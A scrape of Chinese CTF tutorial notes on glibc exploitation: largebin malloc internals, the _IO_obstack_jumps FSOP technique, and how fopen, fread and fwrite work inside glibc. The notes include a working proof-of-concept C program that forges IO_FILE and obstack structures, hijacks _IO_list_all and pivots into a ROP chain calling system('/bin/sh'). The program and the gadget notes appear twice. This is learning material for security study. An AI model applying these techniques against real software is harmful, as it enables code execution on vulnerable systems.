//等于 /* Always insert in the second position. */ fwd = fwd->fd; // bk为什么不修改呢,后面的chunk??没读懂 =》在后面修改 // 先修改改大的顺序,具体指针后面再改 else // 大于了,要插入进去 { //下面两句是把victim插入fwd和比它大的chunk之间 victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; // 修改fwd的bk_nextsize值为victim victim->bk_nextsize->fd_nextsize = victim; // 修改比victim大的chunk的fd_nextsize } bck = fwd->bk; // fwd此时已经是第二个了,它的bk就是第一个, } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; // 插入 bak和fwd之间 victim->fd = fwd; fwd->bk = victim; // 修改fwd和bck的指针 bck->fd = victim;#define MAX_ITERS 10000 if (++iters >= MAX_ITERS) break; }
largebin请求12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667/* If a large request, scan through the chunks of current bin in sorted order to find smallest that fits. Use the skip list for this. */ // 进入largebin了... 不对..不是..这是啥 if (!in_smallbin_range (nb)) { bin = bin_at (av, idx); /* skip scan if empty or largest chunk is too small */ if ((victim = first (bin)) != bin && //如果victim等于头结点,说明bin为空 (unsigned long) (victim->size) >= (unsigned long) (nb)) //小于nb,说明大小没有合适的 {//反向遍历bk_nextsize,从最小的大小开始,找到第一个不小于nb的chunk victim = victim->bk_nextsize; while (((unsigned long) (size = chunksize (victim)) < (unsigned long) (nb))) victim = victim->bk_nextsize; // 如果该chunk与victim的fd一样大,就选择fd chunk,避免改动nextsize /* Avoid removing the first entry for a size so that the skip list does not have to be rerouted. */ if (victim != last (bin) && victim->size == victim->fd->size) victim = victim->fd; remainder_size = size - nb; unlink (av, victim, bck, fwd); /* Exhaust */ if (remainder_size < MINSIZE) { //如果该chunk减去nb小于MINSIZE,直接把该chunk返回给用户 set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; } /* Split */ // 减去nb大于MINSIZE的话,将remainder放入unsortedbin else { remainder = chunk_at_offset (victim, nb); /* We cannot assume the unsorted list is empty and therefore have to perform a complete insert here. */ bck = unsorted_chunks (av); fwd = bck->fd; if (__glibc_unlikely (fwd->bk != bck)) { errstr = "malloc(): corrupted unsorted chunks"; goto errout; } remainder->bk = bck; remainder->fd = fwd; bck->fd = remainder; fwd->bk = remainder; if (!in_smallbin_range (remainder_size)) { remainder->fd_nextsize = NULL; remainder->bk_nextsize = NULL; } set_head (victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0)); set_head (remainder, remainder_size | PREV_INUSE); set_foot (remainder, remainder_size); } check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } }
内层第二个while循环
pwn入门-52-iofile结合特殊gadget进行rop
https://tokameine.top/2023/02/20/glibc2-34-iofile-exploit/
书接上回,如果进行了seccomp等限制了getshell,那么就需要进行orw了
rop博客中123gg1 = libc.search(asm("mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20]")).__next__()gg2 = libc.search(asm("mov rsp, rdx; ret")).__next__()gg3 = libc.search(asm('add rsp, 0x30; mov rax, r12; pop r12; ret')).__next__()
另外一种gadget rop的话其实就是把 system函数地址 换成了一个特殊的gadget
rdi其实是自己传入的chunk地址? rdi是进入CALL_CHUNKFUN前,也就是_obstack_newchunk函数时
rdi此时是自己伪造的第一个chunk,链入chain中的, 在进入CALL_CHUNKFUN前,要执行这两条指令,所以此时可以借此修改rdi, 把rdi+0x48的位置写入自己伪造的第二个chunk的地址 ( 好奇如果不是自己伪造的话,这里本来应该是什么值的? 是 _IO_save_base
123 0x7ffff7e3ed8c <_obstack_newchunk+76> mov rdi, qword ptr [rdi + 0x48]► 0x7ffff7e3ed90 <_obstack_newchunk+80> mov rsi, rbp 0x7ffff7e3ed93 <_obstack_newchunk+83> call rax
然后就执行这一段gadget了, 这一段可以把rdi+0x48还是布置成此chunk地址,然后rbp+0x18就是rdi+0x18了,rax就是rdi了,然后最后call rax+0x28 就是 call rdi+0x28,这是第一条指令,然后如果想rop的话,这里写入leave;ret;
1234567891011 b *svcudp_reply +26 pwndbg> disass svcudp_replyDump of assembler code for function svcudp_reply:........... 0x00007ffff7f00bca <+26>: mov rbp,QWORD PTR [rdi+0x48] 0x00007ffff7f00bce <+30>: mov rax,QWORD PTR [rbp+0x18] 0x00007ffff7f00bd2 <+34>: lea r13,[rbp+0x10] 0x00007ffff7f00bd6 <+38>: mov DWORD PTR [rbp+0x10],0x0 0x00007ffff7f00bdd <+45>: mov rdi,r13 0x00007ffff7f00be0 <+48>: call QWORD PTR [rax+0x28]
然后此时rbp派上用上了,把它传给rsp,然后从rsp+8位置开始继续执行指令,
leave;ret = mov rsp,rbp;pop rbp; pop rip;
栈迁移目标chunk的选择 此时有两种选择, 要么还是同一个chunk,但是要把一些无用的数据pop掉,然后继续用,还是一种是,直接迁移到一个干净的chunk中
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768#include<stdio.h>#include <stdlib.h>#include <string.h>#define writeend_offset 0x30#define writeptr_offset 0x28#define vtable_offset 0xd8#define next_free_offset 0x18 #define chunk_limit_offset 0x20#define caller_offset 0x38#define caller_arg_offset 0x48#define use_arg_offset 0x50#define fake_obstack_offset 0xe0void backdoor(char *cmd){ puts("OHHH!HACKER!!!"); puts("HERE IS U SHELL!"); system(cmd);}char *fake_arg = "/bin/sh\x00";int main(void){ puts("this is a poc"); size_t libc_base = &puts - 0x80ef0; size_t _IO_list_all_prt = libc_base + 0x21a660; size_t _IO_obstack_jumps_prt = libc_base + 0x2163c0; void *ptr,*ropptr; long long *list_all_ptr; ropptr = malloc(0x300); ptr=malloc(0x200); // 注意这俩顺序 //bypass *(long long*)((long long)ptr+writeptr_offset)=0x1; *(long long*)((long long)ptr+writeend_offset)=0x0; *(long long*)((long long)ptr+next_free_offset)=0x1; *(long long*)((long long)ptr+chunk_limit_offset)=0x0; *(long long*)((long long)ptr+use_arg_offset)=0x1; *(long long*)((long long)ptr+fake_obstack_offset)=(long long*)ptr; //vtable _IO_obstack_jumps_prt *(long long*)((long long)ptr+vtable_offset)=(long long*)(_IO_obstack_jumps_prt+0x20); //set the function to call and its parameters *(long long*)((long long)ptr+caller_offset)=(long long*)(libc_base+0x168bca); *(long long*)((long long)ptr+caller_arg_offset)=(long long*)(libc_base+0x168bca); *(long long*)((long long)ptr+0x48)=(long long*)(ropptr); //mov rbp,QWORD PTR [rdi+0x48] *(long long*)((long long)ropptr+0x48)=(long long*)ropptr; *(long long*)((long long)ropptr+0x18)=(long long*)ropptr;//mov rax,QWORD PTR [rbp+0x18] *(long long*)((long long)ropptr+0x28)=(long long*)(libc_base+0x561cc); //call QWORD PTR [rax+0x28] leave;ret *(long long*)((long long)ptr+writeptr_offset)=0x1; const char binsh[] = "/bin/sh"; memcpy((char *)ropptr + 0x80, binsh, sizeof(binsh)); *(long long*)((long long)ropptr+0x8)=(long long*)(libc_base+0x11e491); *(long long*)((long long)ropptr+0x20)=(long long*)(libc_base+0x2a6c5); *(long long*)((long long)ropptr+0x30)=(long long*)(libc_base+0x2a6c5); *(long long*)((long long)ropptr+0x38)=(long long*)(ropptr+0x80); *(long long*)((long long)ropptr+0x40)=(long long*)(&system); //_IO_list_all _chain 2 fake _IO_FILE_plus list_all_ptr=(long long *)(_IO_list_all_prt + 0x68 + 0x20); list_all_ptr[0]=ptr; exit(0);}
ropptr 那里可以布置rop了,
rdi是怎么来的???什么时候控制的??
123 0x7ffff7e3ed8c <_obstack_newchunk+76> mov rdi, qword ptr [rdi + 0x48]► 0x7ffff7e3ed90 <_obstack_newchunk+80> mov rsi, rbp 0x7ffff7e3ed93 <_obstack_newchunk+83> call rax
0x000000000005f65a : pop rdx ; ret
0x000000000011e491 : pop rdx ; pop r12 ; ret
libc_base+0x2a6c5);//pop rdi;ret
pwn入门-51-_IO_obstack_jumps利用
前言 高版本的iofile利用还是比较常见的手法,
主要参考: https://tttang.com/archive/1845/
23.04docker或者虚拟机,需要加一个LC_CTYPE来运行,不然字符集有问题
1LC_CTYPE=C.UTF-8 gdb `find ./glibc-2.34 -type d -printf '-d %p '` ./chal
还是没有符号呀. 符号的话, 需要改一下/usr/lib/debug https://blog.csdn.net/m0_51251108/article/details/127098744
vtable劫持检测: 2.24后加入了针对IO_FILE_plus的vtable劫持的检测措施, 所以vtable地址必须合法, 所以要选择一个可以利用的vtable, 例如本文中的_IO_obstack_jumps
总之布局的参数, 要么是绕过判断条件进入想要的分支、要么是构造参数
将vtable替换成&_IO_obstack_jumps+0x20,这样vtable+0x18地址就指向了 _IO_obstack_xsputn
利用条件1. 一次任意地址写 劫持_IO_list_all或者chain等(如`large bin attack`、`tcache stashing unlink attack`、`fastbin reverse into tcache`)
1. 能够触发io流(`FSOP`或触发`__malloc_assert`,或者程序中存在`puts`等能进入`IO`链的函数),执行`IO`相关函数。
1. 泄漏堆地址和libc基址
利用流程分析_IO_obstack_jumps 能看到只有两个函数可以利用( 所以如果以后有新的函数加进来,可能就会有新的利用手法了
12345678910111213141516171819202122232425/* the jump table. */const struct _IO_jump_t _IO_obstack_jumps libio_vtable attribute_hidden ={ JUMP_INIT_DUMMY, JUMP_INIT(finish, NULL), JUMP_INIT(overflow, _IO_obstack_overflow), JUMP_INIT(underflow, NULL), JUMP_INIT(uflow, NULL), JUMP_INIT(pbackfail, NULL), JUMP_INIT(xsputn, _IO_obstack_xsputn), JUMP_INIT(xsgetn, NULL), JUMP_INIT(seekoff, NULL), JUMP_INIT(seekpos, NULL), JUMP_INIT(setbuf, NULL), JUMP_INIT(sync, NULL), JUMP_INIT(doallocate, NULL), JUMP_INIT(read, NULL), JUMP_INIT(write, NULL), JUMP_INIT(seek, NULL), JUMP_INIT(close, NULL), JUMP_INIT(stat, NULL), JUMP_INIT(showmanyc, NULL), JUMP_INIT(imbue, NULL)};
_IO_obstack_xsputn函数分析 obstack_blank_fast如何保证的内存安全呢?
123456789101112131415161718192021222324252627282930static size_t_IO_obstack_xsputn (FILE *fp, const void *data, size_t n){ // 获取bobstack指针 struct obstack *obstack = ((struct _IO_obstack_file *) fp)->obstack; // 检查是否有足够的写入空间, 没有的话,进入里面进行调整 if (fp->_IO_write_ptr + n > fp->_IO_write_end) { int size; // 调整缓冲区大小 /* We need some more memory. First shrink the buffer to the space we really currently need. */ obstack_blank_fast (obstack, fp->_IO_write_ptr - fp->_IO_write_end); // 将数据追加到obstack上 /* Now grow for N bytes, and put the data there. */ obstack_grow (obstack, data, n); /* Setup the buffer pointers again. */ fp->_IO_write_base = obstack_base (obstack); fp->_IO_write_ptr = obstack_next_free (obstack); size = obstack_room (obstack); fp->_IO_write_end = fp->_IO_write_ptr + size; /* Now allocate the rest of the current chunk. */ obstack_blank_fast (obstack, size); } else // 有的话,就直接写入数据了 fp->_IO_write_ptr = __mempcpy (fp->_IO_write_ptr, data, n); return n;}
进入到obstack_grow中
123456789# define obstack_grow(OBSTACK, where, length) \ __extension__ \ ({ struct obstack *__o = (OBSTACK); \ int __len = (length); \ if (__o->next_free + __len > __o->chunk_limit) 检查空间是否足够 \ _obstack_newchunk (__o, __len); 分配新的内存快 \ memcpy (__o->next_free, where, __len); \ __o->next_free += __len; \ (void) 0; })
进入_obstack_newchunk
12345678910111213141516171819202122232425262728/* Allocate a new current chunk for the obstack *H on the assumption that LENGTH bytes need to be added to the current object, or a new object of length LENGTH allocated. Copies any partial object from the end of the old chunk to the beginning of the new one. */void_obstack_newchunk (struct obstack *h, int length){ struct _obstack_chunk *old_chunk = h->chunk; struct _obstack_chunk *new_chunk; long new_size; long obj_size = h->next_free - h->object_base; long i; long already; char *object_base; /* Compute size for new chunk. */ new_size = (obj_size + length) + (obj_size >> 3) + h->alignment_mask + 100; if (new_size < h->chunk_size) new_size = h->chunk_size; /* Allocate and initialize the new chunk. */ new_chunk = CALL_CHUNKFUN (h, new_size); if (!new_chunk) (*obstack_alloc_failed_handler)(); ..........}
进入CALL_CHUNKFUN, 所以说这里两条触发路径其实都可以? 回头试试
1234567891011/* Define a macro that either calls functions with the traditional malloc/free calling interface, or calls functions with the mmalloc/mfree interface (that adds an extra first argument), based on the state of use_extra_arg. For free, do not use ?:, since some compilers, like the MIPS compilers, do not allow (expr) ? void : void. */# define CALL_CHUNKFUN(h, size) \ (((h)->use_extra_arg) \ ? (*(h)->chunkfun)((h)->extra_arg, (size)) \ : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))
综上所述,得到函数调用链
函数调用链
_IO_obstack_xsputn
obstack_grow
_obstack_newchunk
CALL_CHUNKFUN
(*(h)->chunkfun)((h)->extra_arg, (size))
伪造结构 这些偏移都可以看源码找到,或者gdb调试的时候来看
一个是_IO_FILE 一个是obstack , 注意下面伪造的结构,把chunkA既当作了IOFILE结构,也当作了obstack,进行了复用,可以压缩空间
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465struct obstack /* control current object in current chunk */{ long chunk_size; /* preferred size to allocate chunks in */ struct _obstack_chunk *chunk; /* address of current struct obstack_chunk */ char *object_base; /* address of object we are building */ char *next_free; /* where to add next char to current object */ char *chunk_limit; /* address of char after current chunk */ union { PTR_INT_TYPE tempint; void *tempptr; } temp; /* Temporary for some macros. */ int alignment_mask; /* Mask of alignment for each object. */ /* These prototypes vary based on 'use_extra_arg', and we use casts to the prototypeless function type in all assignments, but having prototypes here quiets -Wstrict-prototypes. */ struct _obstack_chunk *(*chunkfun) (void *, long); void (*freefun) (void *, struct _obstack_chunk *); void *extra_arg; /* first arg for chunk alloc/dealloc funcs */ unsigned use_extra_arg : 1; /* chunk alloc/dealloc funcs take extra arg */ unsigned maybe_empty_object : 1; /* There is a possibility that the current chunk contains a zero-length object. This prevents freeing the chunk if we allocate a bigger chunk to replace it. */ unsigned alloc_failed : 1; /* No longer used, as we now call the failed handler on error, but retained for binary compatibility. */};struct _IO_FILE{ int _flags; /* High-order word is _IO_MAGIC; rest is flags. */ /* The following pointers correspond to the C++ streambuf protocol. */ char *_IO_read_ptr; /* Current read pointer */ char *_IO_read_end; /* End of get area. */ char *_IO_read_base; /* Start of putback+get area. */ char *_IO_write_base; /* Start of put area. */ char *_IO_write_ptr; /* Current put pointer. */ char *_IO_write_end; /* End of put area. */ char *_IO_buf_base; /* Start of reserve area. */ char *_IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; int _flags2; __off_t _old_offset; /* This used to be _offset but it's too small. */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};
攻击思路一
利用largebin attack伪造_IO_FILE,记完成伪造的chunk为A(或者别的手法)
chunk A内偏移为0x18处设为1(next_free)
chunk A内偏移为0x20处设为0(chunk_limit)
满足 _o->next_free + __len > __o->chunk_limit
chunk A内偏移为0x28处设为1(_IO_write_ptr)
chunk A内偏移为0x30处设为0 (_IO_write_end)
满足这个条件: fp-> _IO_write_ptr + n > fp-> _IO_write_end
chunk A内偏移为0x38处设为system函数的地址
chunk A内偏移为0x48处设为&/bin/sh
1234# define CALL_CHUNKFUN(h, size) \ (((h)->use_extra_arg) \ ? (*(h)->chunkfun)((h)->extra_arg, (size)) \ : (*(struct _obstack_chunk *(*)(long))(h)->chunkfun)((size)))
0x38 = 56
8 + 8 + 8 + 8 + 8 + 8 + 4 =52, 但其实是int alignment_mask; 占据了8字节,可能是因为对其的原因,所以字段还是要实际测试的! 不能想当然的加一下
这里: struct _obstack_chunk *(*chunkfun) (void *, long);
chunk A内偏移为0x50处设为1 (use_extra_arg)
满足(h)->use_extra_arg 不为0
chunk A内偏移为0xd8处设为_IO_obstack_jumps+0x20 (vtable的地址)
12345struct _IO_FILE_plus{ _IO_FILE file; const struct _IO_jump_t *vtable;};
chunk A内偏移为0xe0处设置chunk A的地址作为obstack结构体 (??
0xe0的位置就是FILE结束后的位置, 也就是vtable之后(_IO_FILE_plus之后)
12345struct _IO_obstack_file{ struct _IO_FILE_plus file; struct obstack *obstack;};
触发流程 通过_IO_flush_all_lockp函数进行触发,这个函数会刷新 _IO_list_all链表中所有项的文件流, 相当于对每个FILE调用fflush, 也会对应调用 _IO_FILE_plus.vtable中的 _IO_overflow,能够看到它位于0x18的位置
123456789pwndbg> tele 0x7ffff7fae60000:0000│ 0x7ffff7fae600 (_IO_file_jumps) ◂— 0x001:0008│ 0x7ffff7fae608 (_IO_file_jumps+8) ◂— 0x002:0010│ 0x7ffff7fae610 (_IO_file_jumps+16) —▸ 0x7ffff7e23fa0 (_IO_file_finish) ◂— endbr6403:0018│ 0x7ffff7fae618 (_IO_file_jumps+24) —▸ 0x7ffff7e24d70 (_IO_file_overflow) ◂— endbr6404:0020│ 0x7ffff7fae620 (_IO_file_jumps+32) —▸ 0x7ffff7e24a60 (_IO_file_underflow) ◂— endbr6405:0028│ 0x7ffff7fae628 (_IO_file_jumps+40) —▸ 0x7ffff7e25d10 (_IO_default_uflow) ◂— endbr6406:0030│ 0x7ffff7fae630 (_IO_file_jumps+48) —▸ 0x7ffff7e27230 (_IO_default_pbackfail) ◂— endbr6407:0038│ 0x7ffff7fae638 (_IO_file_jumps+56) —▸ 0x7ffff7e235d0 (_IO_file_xsputn) ◂— endbr64
而我们进行伪造的vtable是_IO_obstack_jumps, 利用的 _IO_obstack_xsputn位于0x38的位置,所以我们伪造的IOFILE结构体需要将它的vtable替换成& _IO_obstack_xsputn+0x20的位置即可,这样此时vtable+0x18对应额就是 _IO_obstack_xsputn+0x38,也就是 _IO_obstack_xsputn了
函数调用链12345exit - __run_exit_handlers - _IO_cleanup - _IO_flush_all_lockp - _IO_OVERFLOW( 这里被替换成_IO_obstack_xsputn了)
exp感觉文章给的payload有点问题
120xd0:heap_base + 0x250, 0xc8:libc_base + get_IO_str_jumps() - 0x300 + 0x20
rop123456789pwndbg> disass svcudp_replyDump of assembler code for function svcudp_reply:........... 0x00007ffff7f00bca <+26>: mov rbp,QWORD PTR [rdi+0x48] 0x00007ffff7f00bce <+30>: mov rax,QWORD PTR [rbp+0x18] 0x00007ffff7f00bd2 <+34>: lea r13,[rbp+0x10] 0x00007ffff7f00bd6 <+38>: mov DWORD PTR [rbp+0x10],0x0 0x00007ffff7f00bdd <+45>: mov rdi,r13 0x00007ffff7f00be0 <+48>: call QWORD PTR [rax+0x28]
b *svcudp_reply +26
1CALL_CHUNKFUN
leave;ret = mov rsp,rbp;pop rbp; pop rip;
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768#include<stdio.h>#include <stdlib.h>#include <string.h>#define writeend_offset 0x30#define writeptr_offset 0x28#define vtable_offset 0xd8#define next_free_offset 0x18 #define chunk_limit_offset 0x20#define caller_offset 0x38#define caller_arg_offset 0x48#define use_arg_offset 0x50#define fake_obstack_offset 0xe0void backdoor(char *cmd){ puts("OHHH!HACKER!!!"); puts("HERE IS U SHELL!"); system(cmd);}char *fake_arg = "/bin/sh\x00";int main(void){ puts("this is a poc"); size_t libc_base = &puts - 0x80ef0; size_t _IO_list_all_prt = libc_base + 0x21a660; size_t _IO_obstack_jumps_prt = libc_base + 0x2163c0; void *ptr,*ropptr; long long *list_all_ptr; ropptr = malloc(0x300); ptr=malloc(0x200); // 注意这俩顺序 //bypass *(long long*)((long long)ptr+writeptr_offset)=0x1; *(long long*)((long long)ptr+writeend_offset)=0x0; *(long long*)((long long)ptr+next_free_offset)=0x1; *(long long*)((long long)ptr+chunk_limit_offset)=0x0; *(long long*)((long long)ptr+use_arg_offset)=0x1; *(long long*)((long long)ptr+fake_obstack_offset)=(long long*)ptr; //vtable _IO_obstack_jumps_prt *(long long*)((long long)ptr+vtable_offset)=(long long*)(_IO_obstack_jumps_prt+0x20); //set the function to call and its parameters *(long long*)((long long)ptr+caller_offset)=(long long*)(libc_base+0x168bca); *(long long*)((long long)ptr+caller_arg_offset)=(long long*)(libc_base+0x168bca); *(long long*)((long long)ptr+0x48)=(long long*)(ropptr); //mov rbp,QWORD PTR [rdi+0x48] *(long long*)((long long)ropptr+0x48)=(long long*)ropptr; *(long long*)((long long)ropptr+0x18)=(long long*)ropptr;//mov rax,QWORD PTR [rbp+0x18] *(long long*)((long long)ropptr+0x28)=(long long*)(libc_base+0x561cc); //call QWORD PTR [rax+0x28] leave;ret *(long long*)((long long)ptr+writeptr_offset)=0x1; const char binsh[] = "/bin/sh"; memcpy((char *)ropptr + 0x80, binsh, sizeof(binsh)); *(long long*)((long long)ropptr+0x8)=(long long*)(libc_base+0x11e491); *(long long*)((long long)ropptr+0x20)=(long long*)(libc_base+0x2a6c5); *(long long*)((long long)ropptr+0x30)=(long long*)(libc_base+0x2a6c5); *(long long*)((long long)ropptr+0x38)=(long long*)(ropptr+0x80); *(long long*)((long long)ropptr+0x40)=(long long*)(&system); //_IO_list_all _chain 2 fake _IO_FILE_plus list_all_ptr=(long long *)(_IO_list_all_prt + 0x68 + 0x20); list_all_ptr[0]=ptr; exit(0);}
ropptr 那里可以布置rop了,
rdi是怎么来的???什么时候控制的??
123 0x7ffff7e3ed8c <_obstack_newchunk+76> mov rdi, qword ptr [rdi + 0x48]► 0x7ffff7e3ed90 <_obstack_newchunk+80> mov rsi, rbp 0x7ffff7e3ed93 <_obstack_newchunk+83> call rax
0x000000000005f65a : pop rdx ; ret
0x000000000011e491 : pop rdx ; pop r12 ; ret
libc_base+0x2a6c5);//pop rdi;ret
pwn入门-50-iofile主要函数分析
iofile的gnu官网介绍 glibc的官方手册里有
https://sourceware.org/glibc/manual/2.37/html_mono/libc.html#I_002fO-on-Streams
FILE结构在程序执行fopen等函数时会创建并分配到堆中
Q&A如何查看_IO_FILE_plus? 它只是一个结构体,就是_IO_list_all和vtable的封装
每一个iofile都有一个vtable吗? 是的,每一个都有,紧跟在IO_FILE后面
基础知识 FILE是Linux系统中 标准IO库用来描述文件的结构,也叫做流(由于历史原因被定义为了FILE),它在程序执行fopen等函数时进行创建,分配到堆中。通常定义一个指向FILE结构的指针来接收这个返回值,然后进行后续操作
FILE结构定义在libio/libio.h中
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273struct _IO_FILE { int _flags; /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */ /* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */ char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;#if 0 int _blksize;#else int _flags2;#endif _IO_off_t _old_offset; /* This used to be _offset but it's too small. */#define __HAVE_COLUMN /* temporary */ /* 1+column number of pbase(); 0 is unknown. */ unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};struct _IO_FILE_complete{ struct _IO_FILE _file;#endif#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001 _IO_off64_t _offset;# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T /* Wide character stream stuff. */ struct _IO_codecvt *_codecvt; struct _IO_wide_data *_wide_data; struct _IO_FILE *_freeres_list; void *_freeres_buf;# else void *__pad1; void *__pad2; void *__pad3; void *__pad4;# endif size_t __pad5; int _mode; /* Make sure we don't get into trouble again. */ char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];#endif};#ifndef __cplusplustypedef struct _IO_FILE _IO_FILE;#endifstruct _IO_FILE_plus;
通常是用的_IO_FILE_complete?是的,但是还没在代码中找到哪里定义它为 _IO_FILE类型的
123456struct _IO_FILE_plus{ _IO_FILE file; const struct _IO_jump_t *vtable;};
初始时分配三个文件流
123_IO_2_1_stderr__IO_2_1_stdout__IO_2_1_stdin_
p IO_2_1_stdin
fopen1gdb `find ./glibc-2.23 -type d -printf '-d %p '` ./a.out
fopen对应函数__fopen_internal 创建FILE结构,初始化结构,从这里可以看出FILE结构是存储在堆上的
1► 69 } *new_f = (struct locked_FILE *) malloc (sizeof (struct locked_FILE));
初始化vtable, 设置_IO_file_jumps表
1234567 76 #if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T► 77 _IO_no_init (&new_f->fp.file, 0, 0, &new_f->wd, &_IO_wfile_jumps); 78 #else 79 _IO_no_init (&new_f->fp.file, 1, 0, NULL, NULL); 80 #endif 81 _IO_JUMPS (&new_f->fp) = &_IO_file_jumps; 82 _IO_file_init (&new_f->fp);
进一步初始化
1_IO_file_init (&new_f->fp);
在_IO_file_init 函数的初始化操作中,会调用_IO_link_in 把新分配的 FILE 链入_IO_list_all 为起始的 FILE 链表中
123456789101112void_IO_link_in (fp) struct _IO_FILE_plus *fp;{ if ((fp->file._flags & _IO_LINKED) == 0) { fp->file._flags |= _IO_LINKED; fp->file._chain = (_IO_FILE *) _IO_list_all; _IO_list_all = fp; ++_IO_list_all_stamp; }}
之后调用下面函数打开文件,一路往后会到open系统调用
123456if (_IO_file_fopen ((_IO_FILE *) new_f, filename, mode, is32) != NULL) return __fopen_maybe_mmap (&new_f->fp.file);_IO_file_open0x7ffff7a86ad9 <_IO_file_open+137> call open64 <open64>
找变量: info var _IO_list_all
如何查看完整的_IO_list_all的链子呢???可以手动找chain连接起来
12345678910111213141516171819202122232425262728293031323334353637383940414243444546pwndbg> info var _IO_list_allAll variables matching regular expression "_IO_list_all":File genops.c:42: static int _IO_list_all_stamp;File stdfiles.c:73: struct _IO_FILE_plus *_IO_list_all;72: struct _IO_FILE_plus *__GI__IO_list_allpwndbg> p _IO_list_all$8 = (struct _IO_FILE_plus *) 0x7ffff7dd2540 <_IO_2_1_stderr_> pwndbg> p *(struct _IO_FILE *)_IO_list_all$9 = { _flags = -72540026, _IO_read_ptr = 0x0, _IO_read_end = 0x0, _IO_read_base = 0x0, _IO_write_base = 0x0, _IO_write_ptr = 0x0, _IO_write_end = 0x0, _IO_buf_base = 0x0, _IO_buf_end = 0x0, _IO_save_base = 0x0, _IO_backup_base = 0x0, _IO_save_end = 0x0, _markers = 0x0, _chain = 0x7ffff7dd2620 <_IO_2_1_stdout_>, _fileno = 2, _flags2 = 0, _old_offset = -1, _cur_column = 0, _vtable_offset = 0 '\000', _shortbuf = "", _lock = 0x7ffff7dd3770 <_IO_stdfile_2_lock>, _offset = -1, _codecvt = 0x0, _wide_data = 0x7ffff7dd1660 <_IO_wide_data_2>, _freeres_list = 0x0, _freeres_buf = 0x0, __pad5 = 0, _mode = 0, _unused2 = '\000' <repeats 19 times>}
fread 标准IO库函数、从文件流中读取数据, 函数原型如下:
1size_t fread ( void *buffer, size_t size, size_t count, FILE *stream) ;
buffer 存放读取数据的缓冲区。
size:指定每个记录的长度。
count: 指定记录的个数。
stream:目标文件流。
返回值:返回读取到数据缓冲区中的记录个数
函数代码位于libio/iofread.c中, 函数名是_IO_fread,调到 _IO_sgetn
1► 38 bytes_read = _IO_sgetn (fp, (char *) buf, bytes_requested);
然后到_IO_XSGETN, _IO_XSGETN 是 _IO_FILE_plus.vtable 中的函数指针, 指向 _IO_file_xsputn
123456789 463 _IO_size_t 464 _IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n) 465 { 466 /* FIXME handle putback buffer here! */► 467 return _IO_XSGETN (fp, data, n); 468 }0x7ffff7a8871b <_IO_sgetn+11> jmp rax <__GI__IO_file_xsgetn>
_IO_file_xsputn
108:0040│ 0x7ffff7dd0720 (_IO_file_jumps+64) —▸ 0x7ffff7a85ed0 (__GI__IO_file_xsgetn) ◂— push r14
检查想要的字节数want是否小于缓冲区可用字节数
12345678910111408 /* If we now want less than a buffer, underflow and repeat1409 the copy. Otherwise, _IO_SYSREAD directly to1410 the user buffer. */1411 if (fp->_IO_buf_base1412 && want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base))1413 {1414 if (__underflow (fp) == EOF)1415 break;14161417 continue;1418 }
fwrite 向文件流中写入数据, 函数原型如下
1size_t fwrite(const void* buffer, size_t size, size_t count, FILE* stream);
buffer: 是一个指针,对 fwrite 来说,是要写入数据的地址;
size: 要写入内容的单字节数;
count: 要进行写入 size 字节的数据项的个数;
stream: 目标文件指针;
返回值:实际写入的数据项个数 count。
代码位于libio/iofwrite.c,函数名是_IO_fwrite, 这里面主要是调用 _IO_XSPUTN 实现写入功能
12345 38 if (_IO_vtable_offset (fp) != 0 || _IO_fwide (fp, -1) == -1) ► 39 written = _IO_sputn (fp, (const char *) buf, request);► 0x7ffff7a7b7c8 <fwrite+216> call qword ptr [rax + 0x38] <_IO_file_xsputn>
然后_IO_new_file_xsputn中又会调用 _IO_OVERFLOW ,对应 _IO_new_file_overflow, 最终会走到write系统调用那
12► 851 return _IO_do_write (f, f->_IO_write_base, 852 f->_IO_write_ptr - f->_IO_write_base);
